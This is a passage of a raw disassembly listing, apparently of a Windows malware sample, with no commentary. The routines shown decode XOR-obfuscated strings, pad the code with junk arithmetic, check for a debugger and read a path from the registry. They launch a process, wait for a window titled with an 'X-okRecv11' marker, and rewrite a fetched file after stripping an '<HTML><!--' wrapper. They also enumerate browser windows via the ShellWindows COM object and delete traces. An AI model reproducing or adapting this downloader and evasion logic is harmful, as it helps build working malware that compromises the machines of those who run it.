		sub	[ebp+var_10A], 555h
		pop	edi
		pop	esi
		leave
		retn
sub_405E88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4061F7(HLOCAL	hMem, int, LPCSTR lpFileName, LPCSTR lpString, int, int, int, int)

sub_4061F7	proc near		; CODE XREF: sub_4098A8+29Dp
					; sub_4098A8+647p ...

var_3DF		= byte ptr -3DFh
lpBuffer	= dword	ptr -3DCh
var_3D7		= byte ptr -3D7h
ExistingFileName= byte ptr -3D6h
var_2D2		= byte ptr -2D2h
var_2CD		= dword	ptr -2CDh
var_2C9		= byte ptr -2C9h
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BB		= byte ptr -2BBh
var_2B5		= byte ptr -2B5h
lpSubKey	= dword	ptr -2B4h
var_2AD		= byte ptr -2ADh
var_2A5		= byte ptr -2A5h
var_29F		= byte ptr -29Fh
var_298		= byte ptr -298h
var_295		= byte ptr -295h
var_28F		= byte ptr -28Fh
Type		= dword	ptr -28Ch
var_286		= byte ptr -286h
var_281		= dword	ptr -281h
var_27D		= byte ptr -27Dh
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
cbData		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= word ptr -268h
var_266		= word ptr -266h
var_264		= dword	ptr -264h
Dst		= dword	ptr -260h
hObject		= dword	ptr -25Ch
Source		= byte ptr -250h
var_14C		= dword	ptr -14Ch
StartupInfo	= _STARTUPINFOA	ptr -148h
WindowName	= byte ptr -104h
hMem		= dword	ptr  8
arg_4		= dword	ptr  0Ch
lpFileName	= dword	ptr  10h
lpString	= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 3E0h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_27D]
		lea	esi, dword_442314
		mov	ecx, 5
		rep movsb
		and	[ebp+var_14C], 0
		mov	eax, dword_442319
		mov	[ebp+var_281], eax
		xor	ebx, ebx
		lea	edi, [ebp+var_286]
		lea	esi, byte_44231D
		mov	ecx, 5
		rep movsb
		push	offset Addend	; lpAddend
		call	InterlockedIncrement	; InterlockedIncrement
		mov	[ebp+var_26C], eax
		mov	[ebp+var_264], 6A69h
		mov	eax, [ebp+var_264]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_264], edx
		push	10h		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		mov	[ebp+var_266], 6967h
		sub	[ebp+var_266], 112Ch
		mov	[ebp+cbData], 104h
		call	GetProcessHeap	; GetProcessHeap
		push	21h		; Size
		push	offset byte_446FD3 ; Src
		call	sub_405138
		mov	[ebp+lpSubKey],	eax
		push	4		; Size
		push	offset word_446FCE ; Src
		call	sub_405138
		lea	edi, [ebp+Type]
		push	edi		; lpType
		lea	edi, [ebp+cbData]
		push	edi		; lpcbData
		lea	edi, [ebp+Source]
		push	edi		; lpData
		push	eax		; lpValueName
		mov	edi, [ebp+lpSubKey]
		push	edi		; lpSubKey
		push	80000002h	; hKey
		call	sub_4014C9
		add	esp, 34h
		mov	[ebp+var_274], eax
		mov	[ebp+var_268], 31E9h
		sub	[ebp+var_268], 5E5h
		test	eax, eax
		jnz	short loc_40632D
		mov	[ebp+var_2B5], 0E2h
		add	[ebp+var_2B5], 1
		push	[ebp+hMem]	; hMem
		call	LocalFree	; LocalFree
		lea	edi, [ebp+var_2BB]
		lea	esi, word_442322
		mov	ecx, 3
		rep movsw
		xor	eax, eax
		jmp	loc_406810
; ---------------------------------------------------------------------------


loc_40632D:				; CODE XREF: sub_4061F7+103j
		call	sub_405E88
		lea	edi, [ebp+var_28F]
		lea	esi, byte_442328
		mov	ecx, 3
		rep movsb
		push	104h		; nSize
		lea	eax, [ebp+WindowName]
		push	eax		; lpDst
		lea	eax, [ebp+Source]
		push	eax		; lpSrc
		call	ExpandEnvironmentStringsA	; ExpandEnvironmentStringsA
		lea	edi, [ebp+var_295]
		lea	esi, byte_44232B
		mov	ecx, 3
		rep movsw
		push	[ebp+var_26C]	; int
		push	[ebp+arg_18]	; int
		push	[ebp+arg_14]	; int
		push	[ebp+arg_10]	; int
		push	[ebp+lpString]	; lpString
		push	[ebp+arg_4]	; int
		push	[ebp+hMem]	; int
		lea	eax, [ebp+Source]
		push	eax		; lpFileName
		call	sub_4054C8
		add	esp, 20h
		mov	[ebp+var_14C], eax
		cmp	[ebp+arg_1C], 0
		jz	short loc_4063BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4063B6
		mov	eax, [ebp+arg_1C]
		mov	edx, [ebp+var_14C]
		mov	[eax], edx
		jmp	short loc_4063BC
; ---------------------------------------------------------------------------


loc_4063B6:				; CODE XREF: sub_4061F7+1B0j
		mov	eax, [ebp+arg_1C]
		and	dword ptr [eax], 0


loc_4063BC:				; CODE XREF: sub_4061F7+1ABj
					; sub_4061F7+1BDj
		cmp	[ebp+var_14C], 0
		jnz	short loc_4063DF
		mov	eax, dword_442331
		mov	[ebp-2B8h], eax
		push	[ebp+hMem]	; hMem
		call	LocalFree	; LocalFree
		xor	eax, eax
		jmp	loc_406810
; ---------------------------------------------------------------------------


loc_4063DF:				; CODE XREF: sub_4061F7+1CCj
		push	0Eh		; Size
		push	offset byte_446FBF ; Src
		call	sub_405138
		push	eax		; Source
		lea	edi, [ebp+WindowName]
		push	edi		; Dest
		call	strcat	; strcat
		lea	edi, [ebp+var_298]
		lea	esi, byte_442335
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+WindowName]
		push	eax		; Dest
		call	strcat	; strcat
		call	GetProcessHeap	; GetProcessHeap
		call	sub_4043CA
		mov	[ebp+var_278], eax
		lea	edi, [ebp+var_29F]
		lea	esi, dword_442338
		mov	ecx, 7
		rep movsb
		push	44h		; Size
		push	0		; Val
		lea	eax, [ebp+StartupInfo]
		push	eax		; Dst
		call	memset	; memset
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	44h		; Size
		push	0		; Val
		lea	eax, [ebp+StartupInfo]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 30h
		lea	edi, [ebp+var_2A5]
		lea	esi, byte_44233F
		mov	ecx, 3
		rep movsw
		mov	[ebp+StartupInfo.cb], 44h
		lea	edi, [ebp+var_2AD]
		lea	esi, byte_442345
		mov	ecx, 2
		rep movsd
		mov	[ebp+StartupInfo.dwFlags], 1
		mov	[ebp+StartupInfo.wShowWindow], 1
		cmp	[ebp+var_278], 0
		jz	short loc_4064C5
		lea	eax, [ebp+StartupInfo]
		push	eax
		call	sub_40446E
		pop	ecx
		jmp	short loc_4064CE
; ---------------------------------------------------------------------------


loc_4064C5:				; CODE XREF: sub_4061F7+2BDj
		mov	[ebp+StartupInfo.wShowWindow], 0


loc_4064CE:				; CODE XREF: sub_4061F7+2CCj
		lea	eax, [ebp+Dst]
		push	eax		; lpProcessInformation
		lea	eax, [ebp+StartupInfo]
		push	eax		; lpStartupInfo
		push	0		; lpCurrentDirectory
		push	0		; lpEnvironment
		push	20h		; dwCreationFlags
		push	0		; bInheritHandles
		push	0		; lpThreadAttributes
		push	0		; lpProcessAttributes
		lea	eax, [ebp+WindowName]
		push	eax		; lpCommandLine
		push	0		; lpApplicationName
		call	CreateProcessA	; CreateProcessA
		or	eax, eax
		jz	loc_4067AD
		mov	eax, dword_44234D
		mov	[ebp+var_2C4], eax
		push	[ebp+hObject]	; hObject
		call	CloseHandle	; CloseHandle
		mov	dword ptr [ebp-2BCh], 4906h
		mov	eax, 28BCh
		mul	dword ptr [ebp-2BCh]
		mov	[ebp+var_2C8], eax
		mov	[ebp-2BCh], eax
		push	22h		; Size
		push	offset dword_446F9C ; Src
		call	sub_405138
		push	[ebp+var_26C]
		push	offset word_447346
		push	eax		; Format
		lea	edi, [ebp+WindowName]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 18h
		mov	[ebp+var_2C0], 5F7Dh
		add	[ebp+var_2C0], 58F3h
		mov	[ebp+var_2B5], 0
		jmp	short loc_4065D0
; ---------------------------------------------------------------------------


loc_406579:				; CODE XREF: sub_4061F7+3E1j
		call	GetTickCount	; GetTickCount
		push	7		; Size
		push	offset aUyznQy	; "uyzN]QY"
		call	sub_405138
		add	esp, 8
		lea	edi, [ebp+WindowName]
		push	edi		; lpWindowName
		push	eax		; lpClassName
		call	FindWindowA	; FindWindowA
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_4065DA
		mov	[ebp+var_2C9], 0BAh
		add	[ebp+var_2C9], 0Bh
		mov	eax, dword_44229C
		add	eax, 3D7h
		push	eax		; dwMilliseconds
		call	Sleep	; Sleep
		mov	eax, dword_442351
		mov	[ebp+var_2CD], eax
		add	[ebp+var_2B5], 1


loc_4065D0:				; CODE XREF: sub_4061F7+380j
		mov	al, [ebp+var_2B5]
		cmp	al, 0Ah
		jb	short loc_406579


loc_4065DA:				; CODE XREF: sub_4061F7+3A7j
		or	ebx, ebx
		jz	loc_40679F
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	0EA60h		; dwMilliseconds
		call	Sleep	; Sleep
		call	GetLastError
		push	104h		; nMaxCount
		lea	eax, [ebp+WindowName]
		push	eax		; lpString
		push	ebx		; hWnd
		call	GetWindowTextA	; GetWindowTextA
		call	GetProcessHeap	; GetProcessHeap
		mov	eax, 12h
		sub	eax, dword_44229C
		push	eax
		push	offset aXOkrecv11 ; "X-okRecv11"
		lea	eax, [ebp+WindowName]
		push	eax
		call	sub_40181A
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	loc_406775
		lea	edi, [ebp+var_2D2]
		lea	esi, byte_442355
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_2CD+1], 4072h
		inc	[ebp+var_2CD+1]
		lea	eax, [ebp+ExistingFileName]
		push	eax
		push	[ebp+arg_4]
		call	sub_40523D
		add	esp, 8
		or	eax, eax
		jz	loc_406759
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	0		; bFailIfExists
		push	[ebp+lpFileName] ; lpNewFileName
		lea	eax, [ebp+ExistingFileName]
		push	eax		; lpExistingFileName
		call	CopyFileA	; CopyFileA
		lea	edi, [ebp+var_3DF]
		lea	esi, byte_44235B
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+var_14C]
		push	eax		; int
		push	[ebp+lpFileName] ; lpFileName
		call	sub_401A7E
		mov	[ebp+lpBuffer],	eax
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	[ebp+lpFileName] ; lpFileName
		call	DeleteFileA	; DeleteFileA
		mov	[ebp+var_3D7], 18h
		movzx	eax, [ebp+var_3D7]
		imul	eax, 415h
		mov	[ebp+var_3D7], al
		push	offset String	; "<HTML><!--"
		call	lstrlenA	; lstrlenA
		push	eax		; MaxCount
		push	offset String	; "<HTML><!--"
		push	[ebp+lpBuffer]	; Str1
		call	strncmp	; strncmp
		add	esp, 14h
		or	eax, eax
		jnz	short loc_406727
		push	offset String	; "<HTML><!--"
		call	lstrlenA	; lstrlenA
		mov	edi, [ebp+var_14C]
		sub	edi, 3Ah
		push	edi		; nNumberOfBytesToWrite
		mov	edi, eax
		add	edi, [ebp+lpBuffer]
		push	edi		; lpBuffer
		push	[ebp+lpFileName] ; lpFileName
		call	sub_4051C3
		add	esp, 0Ch
		jmp	short loc_406742
; ---------------------------------------------------------------------------


loc_406727:				; CODE XREF: sub_4061F7+504j
		mov	eax, [ebp+var_14C]
		sub	eax, 40h
		push	eax		; nNumberOfBytesToWrite
		push	[ebp+lpBuffer]	; lpBuffer
		push	[ebp+lpFileName] ; lpFileName
		call	sub_4051C3
		add	esp, 0Ch


loc_406742:				; CODE XREF: sub_4061F7+52Ej
		push	[ebp+lpBuffer]	; hMem
		call	LocalFree	; LocalFree
		mov	[ebp+var_14C], 2
		jmp	short loc_4067CE
; ---------------------------------------------------------------------------


loc_406759:				; CODE XREF: sub_4061F7+479j
		mov	[ebp+lpBuffer],	14F0h
		inc	[ebp+lpBuffer]
		mov	[ebp+var_14C], 1
		jmp	short loc_4067CE
; ---------------------------------------------------------------------------


loc_406775:				; CODE XREF: sub_4061F7+43Bj
		mov	[ebp+var_2CD+1], 789Bh
		mov	eax, 506Fh
		mul	[ebp+var_2CD+1]
		mov	[ebp-2D0h], eax
		mov	[ebp+var_2CD+1], eax
		and	[ebp+var_14C], 0
		jmp	short loc_4067CE
; ---------------------------------------------------------------------------


loc_40679F:				; CODE XREF: sub_4061F7+3E5j
		call	GetCurrentThreadId	; GetCurrentThreadId
		and	[ebp+var_14C], 0
		jmp	short loc_4067CE
; ---------------------------------------------------------------------------


loc_4067AD:				; CODE XREF: sub_4061F7+301j
		mov	dword ptr [ebp-2B8h], 1965h
		mov	eax, [ebp-2B8h]
		mov	edx, eax
		add	edx, eax
		mov	[ebp-2B8h], edx
		and	[ebp+var_14C], 0


loc_4067CE:				; CODE XREF: sub_4061F7+560j
					; sub_4061F7+57Cj ...
		lea	eax, [ebp+Source]
		push	eax		; lpFileName
		call	DeleteFileA	; DeleteFileA
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	[ebp+hMem]	; hMem
		call	LocalFree	; LocalFree
		call	GetLastError
		push	0		; uExitCode
		push	[ebp+Dst]	; hProcess
		call	TerminateProcess	; TerminateProcess
		mov	ebx, 77CCh
		inc	ebx
		push	[ebp+Dst]	; hObject
		call	CloseHandle	; CloseHandle
		mov	eax, [ebp+var_14C]


loc_406810:				; CODE XREF: sub_4061F7+131j
					; sub_4061F7+1E3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4061F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_406815(void *Src, size_t Size)

sub_406815	proc near		; CODE XREF: sub_406A40+ADp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	esi, [ebp+Size]
		mov	[ebp+var_4], 307h
		push	esi		; Size
		push	[ebp+Src]	; Src
		mov	eax, dword_442368
		lea	eax, ds:41C7C0h[eax]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_8], 12Ah
		xor	edi, edi
		jmp	short loc_406862
; ---------------------------------------------------------------------------


loc_40684B:				; CODE XREF: sub_406815+4Fj
		mov	eax, dword_442368
		add	eax, edi
		lea	eax, ds:41C7C0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 16h
		mov	[eax], dl
		inc	edi


loc_406862:				; CODE XREF: sub_406815+34j
		cmp	edi, esi
		jl	short loc_40684B
		mov	[ebp+var_C], 3B6h
		mov	eax, dword_442368
		add	eax, esi
		mov	byte ptr dword_41C7C0[eax], 0
		mov	edi, dword_442368
		inc	dword_442368
		mov	eax, dword_442368
		lea	eax, [eax+esi+2]
		mov	dword_442368, eax
		add	dword_442368, 2
		cmp	dword_442368, 0DD4h
		jle	short loc_4068B0
		and	dword_442368, 0


loc_4068B0:				; CODE XREF: sub_406815+92j
		mov	[ebp+var_10], 1F1h
		lea	eax, dword_41C7C0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_406815	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4068C1(LPCWSTR lpWideCharStr,	LPSTR lpMultiByteStr)

sub_4068C1	proc near		; CODE XREF: sub_406D2E+141p
					; sub_406D2E+562p ...

var_1		= byte ptr -1
lpWideCharStr	= dword	ptr  8
lpMultiByteStr	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+lpWideCharStr]
		mov	esi, [ebp+lpMultiByteStr]
		mov	[ebp+var_1], 73h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		push	ebx		; lpString
		call	lstrlenW	; lstrlenW
		mov	edi, eax
		call	GetProcessHeap	; GetProcessHeap
		push	0		; lpUsedDefaultChar
		push	0		; lpDefaultChar
		push	1FFFh		; cbMultiByte
		push	esi		; lpMultiByteStr
		push	edi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	0		; dwFlags
		push	0		; CodePage
		call	WideCharToMultiByte	; WideCharToMultiByte
		call	GetLastError
		mov	byte ptr [esi+edi], 0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4068C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406911	proc near		; CODE XREF: sub_40696D+C1p

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		call	GetVersion	; GetVersion
		cmp	dword_442370, 0
		jz	short loc_406933
		mov	eax, dword_442370
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_406933:				; CODE XREF: sub_406911+15j
		lea	edi, [ebp+var_8]
		lea	esi, dword_442378
		movsd
		movsd
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	ebx, 1BD8h
		inc	ebx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, dword_442380
		mov	[ebp+var_C], eax
		call	CoUninitialize
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406911	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40696D(LPVOID	*ppv)

sub_40696D	proc near		; CODE XREF: sub_406D2E+54p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
pclsid		= CLSID	ptr -16h
var_6		= word ptr -6
var_4		= dword	ptr -4
ppv		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+ppv]
		call	GetProcessHeap	; GetProcessHeap
		mov	[ebp+var_6], 366h
		sub	[ebp+var_6], 7E1Dh
		and	dword ptr [ebx], 0
		and	dword ptr [ebx+4], 0
		push	0		; pvReserved
		call	CoInitialize
		call	GetCurrentThreadId	; GetCurrentThreadId
		lea	eax, [ebp+pclsid]
		push	eax		; pclsid
		push	offset sz	; "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
		call	CLSIDFromString
		mov	[ebp+var_4], eax
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setl	al
		mov	[ebp+var_24], eax
		test	eax, eax
		jnz	short loc_406A2D
		push	ebx		; ppv
		push	offset riid	; riid
		push	4		; dwClsContext
		push	0		; pUnkOuter
		lea	eax, [ebp+pclsid]
		push	eax		; rclsid
		call	CoCreateInstance
		mov	[ebp+var_4], eax
		lea	edi, [ebp+var_1C]
		lea	esi, dword_442384
		mov	ecx, 3
		rep movsw
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setl	al
		mov	[ebp+var_28], eax
		test	eax, eax
		jnz	short loc_406A2D
		mov	eax, dword_44238A
		mov	[ebp+var_20], eax
		mov	eax, ebx
		add	eax, 4
		push	eax
		push	offset dword_447B0C
		mov	eax, [ebx]
		push	dword ptr [ebx]
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setl	al
		mov	[ebp+var_2C], eax
		test	eax, eax
		jnz	short loc_406A2D
		xor	eax, eax
		inc	eax
		jmp	short loc_406A3B
; ---------------------------------------------------------------------------


loc_406A2D:				; CODE XREF: sub_40696D+4Fj
					; sub_40696D+86j ...
		push	ebx
		call	sub_406911
		pop	ecx
		call	GetProcessHeap	; GetProcessHeap
		xor	eax, eax


loc_406A3B:				; CODE XREF: sub_40696D+BEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40696D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_406A40(int, HWND hWnd)

sub_406A40	proc near		; CODE XREF: sub_406D2E+86p

var_1004A	= byte ptr -1004Ah
var_10044	= word ptr -10044h
var_10042	= byte ptr -10042h
var_1003C	= byte ptr -1003Ch
var_10034	= dword	ptr -10034h
String		= byte ptr -1002Fh
var_30		= dword	ptr -30h
var_29		= byte ptr -29h
var_28		= word ptr -28h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
hWnd		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1004Ch
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_E], 0ADBh
		sub	[ebp+var_E], 2E5Bh
		cmp	dword_442374, 0FFFFh
		jz	short loc_406A6F
		and	dword_44236C, 0


loc_406A6F:				; CODE XREF: sub_406A40+26j
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	eax, dword_44236C
		cmp	[ebp+hWnd], eax
		jz	loc_406C9D
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	eax, [ebp+hWnd]
		mov	dword_44236C, eax
		cmp	dword_442370, 0
		jz	short loc_406ABF
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	eax, dword_442370
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	[ebp+var_10044], 0D6h
		inc	[ebp+var_10044]
		and	dword_442370, 0


loc_406ABF:				; CODE XREF: sub_406A40+56j
		lea	edi, [ebp+var_1003C]
		lea	esi, word_44238E
		movsd
		movsd
		push	0FFFFh		; nMaxCount
		lea	eax, [ebp+String]
		push	eax		; lpString
		push	[ebp+hWnd]	; hWnd
		call	GetWindowTextA	; GetWindowTextA
		call	GetProcessHeap	; GetProcessHeap
		push	1Bh		; Size
		push	offset unk_446F14 ; Src
		call	sub_406815
		mov	edi, 0Eh
		sub	edi, dword_442364
		push	edi
		push	eax
		lea	edi, [ebp+String]
		push	edi
		call	sub_40181A
		add	esp, 14h
		cmp	eax, 0FFFFh
		jnz	short loc_406B45
		lea	edi, [ebp+var_1004A]
		lea	esi, word_442396
		mov	ecx, 3
		rep movsw
		and	dword_442370, 0
		mov	[ebp+var_10044], 1FF4h
		inc	[ebp+var_10044]
		jmp	loc_406C9D
; ---------------------------------------------------------------------------


loc_406B45:				; CODE XREF: sub_406A40+D3j
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	ebx, eax
		cmp	[ebp+var_C], 0
		jz	loc_406C9D
		call	GetLastError
		or	ebx, ebx
		jnz	loc_406C9D
		call	GetCurrentThreadId	; GetCurrentThreadId
		and	[ebp+var_4], 0
		cmp	dword_442374, 0FFFFh
		jz	short loc_406BA8
		call	IsDebuggerPresent	; IsDebuggerPresent
		inc	dword_442374
		mov	eax, [ebp+var_C]
		cmp	dword_442374, eax
		jbe	short loc_406BA0
		and	dword_442374, 0


loc_406BA0:				; CODE XREF: sub_406A40+157j
		mov	eax, dword_442374
		mov	[ebp+var_4], eax


loc_406BA8:				; CODE XREF: sub_406A40+141j
					; sub_406A40+250j
		push	0		; Duration
		call	_sleep	; _sleep
		pop	ecx
		mov	[ebp+var_28], 2
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	dword_442374, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	esi, [ebp+var_28]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_0]
		mov	edi, [edi+4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	[ebp+var_8], 0E5h
		mov	eax, [ebp+var_8]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_8], edx
		or	ebx, ebx
		jnz	short loc_406C65
		push	offset dword_442370
		push	offset dword_447B2C
		mov	eax, [ebp+var_14]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		lea	edi, [ebp+var_10042]
		lea	esi, dword_44239C
		mov	ecx, 3
		rep movsw
		or	ebx, ebx
		jnz	short loc_406C65
		mov	[ebp+var_29], 22h
		sub	[ebp+var_29], 83h
		lea	eax, [ebp+var_10034]
		push	eax
		mov	eax, dword_442370
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+94h]
		mov	ebx, eax
		call	GetCurrentThreadId	; GetCurrentThreadId
		or	ebx, ebx
		jnz	short loc_406C65
		mov	dword_442374, 0FFFFh
		mov	eax, [ebp+hWnd]
		cmp	[ebp+var_10034], eax
		jz	short loc_406C9D


loc_406C65:				; CODE XREF: sub_406A40+1B5j
					; sub_406A40+1E6j ...
		cmp	dword_442370, 0
		jz	short loc_406C79
		mov	eax, dword_442370
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_406C79:				; CODE XREF: sub_406A40+22Cj
		mov	[ebp+var_30], 48A1h
		add	[ebp+var_30], 7310h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_4], eax
		jb	loc_406BA8
		and	dword_442370, 0


loc_406C9D:				; CODE XREF: sub_406A40+3Cj
					; sub_406A40+100j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_406CA2(void *Src, size_t Size)

sub_406CA2	proc near		; CODE XREF: sub_406D2E+5E1p
					; sub_406D2E+62Ap ...

var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+Size]
		push	esi		; Size
		push	[ebp+Src]	; Src
		mov	eax, dword_4423AC
		lea	eax, ds:431C50h[eax]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_4], 0D2h
		xor	edi, edi
		jmp	short loc_406CE9
; ---------------------------------------------------------------------------


loc_406CCF:				; CODE XREF: sub_406CA2+49j
		mov	eax, dword_4423AC
		add	eax, edi
		lea	eax, ds:431C50h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0FDh
		mov	[eax], dl
		inc	edi


loc_406CE9:				; CODE XREF: sub_406CA2+2Bj
		cmp	edi, esi
		jl	short loc_406CCF
		mov	eax, dword_4423AC
		add	eax, esi
		mov	byte ptr dword_431C50[eax], 0
		mov	edi, dword_4423AC
		add	dword_4423AC, 3
		mov	eax, dword_4423AC
		inc	eax
		add	eax, esi
		mov	dword_4423AC, eax
		cmp	eax, 0DC5h
		jle	short loc_406D24
		and	dword_4423AC, 0


loc_406D24:				; CODE XREF: sub_406CA2+79j
		lea	eax, dword_431C50[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_406CA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D2E	proc near		; CODE XREF: StartAddress+69p

var_6381D	= byte ptr -6381Dh
var_6381C	= byte ptr -6381Ch
var_63816	= word ptr -63816h
var_63814	= dword	ptr -63814h
var_6380F	= byte ptr -6380Fh
var_62810	= dword	ptr -62810h
var_6280C	= dword	ptr -6280Ch
var_62808	= word ptr -62808h
var_62806	= word ptr -62806h
var_62804	= dword	ptr -62804h
var_62800	= word ptr -62800h
var_627F8	= dword	ptr -627F8h
var_627F0	= word ptr -627F0h
var_627E8	= dword	ptr -627E8h
var_627E0	= dword	ptr -627E0h
var_627DC	= dword	ptr -627DCh
var_627D8	= dword	ptr -627D8h
var_627D4	= byte ptr -627D4h
var_627D3	= byte ptr -627D3h
var_627CC	= word ptr -627CCh
var_627CA	= byte ptr -627CAh
var_627C4	= byte ptr -627C4h
var_627BF	= byte ptr -627BFh
var_627BC	= word ptr -627BCh
var_627BA	= byte ptr -627BAh
var_627B9	= byte ptr -627B9h
var_627B8	= dword	ptr -627B8h
Source		= byte ptr -627B3h
var_626B4	= dword	ptr -626B4h
var_626B0	= dword	ptr -626B0h
var_626AC	= dword	ptr -626ACh
var_626A8	= word ptr -626A8h
var_626A0	= dword	ptr -626A0h
var_62694	= dword	ptr -62694h
var_62690	= dword	ptr -62690h
var_6268C	= dword	ptr -6268Ch
var_62688	= dword	ptr -62688h
var_62684	= dword	ptr -62684h
var_62680	= dword	ptr -62680h
var_6267C	= dword	ptr -6267Ch
MultiByteStr	= byte ptr -62677h
var_62674	= dword	ptr -62674h
var_6266D	= byte ptr -6266Dh
var_5269E	= byte ptr -5269Eh
var_5269A	= word ptr -5269Ah
var_52698	= dword	ptr -52698h
var_52694	= dword	ptr -52694h
var_52690	= byte ptr -52690h
var_52688	= dword	ptr -52688h
var_52680	= word ptr -52680h
var_52678	= dword	ptr -52678h
var_52674	= dword	ptr -52674h
var_5266F	= byte ptr -5266Fh
var_5266E	= byte ptr -5266Eh
var_5266D	= byte ptr -5266Dh
var_52667	= dword	ptr -52667h
var_52663	= byte ptr -52663h
var_5265D	= byte ptr -5265Dh
var_52657	= byte ptr -52657h
var_52656	= byte ptr -52656h
var_52653	= byte ptr -52653h
var_5264E	= dword	ptr -5264Eh
var_52649	= byte ptr -52649h
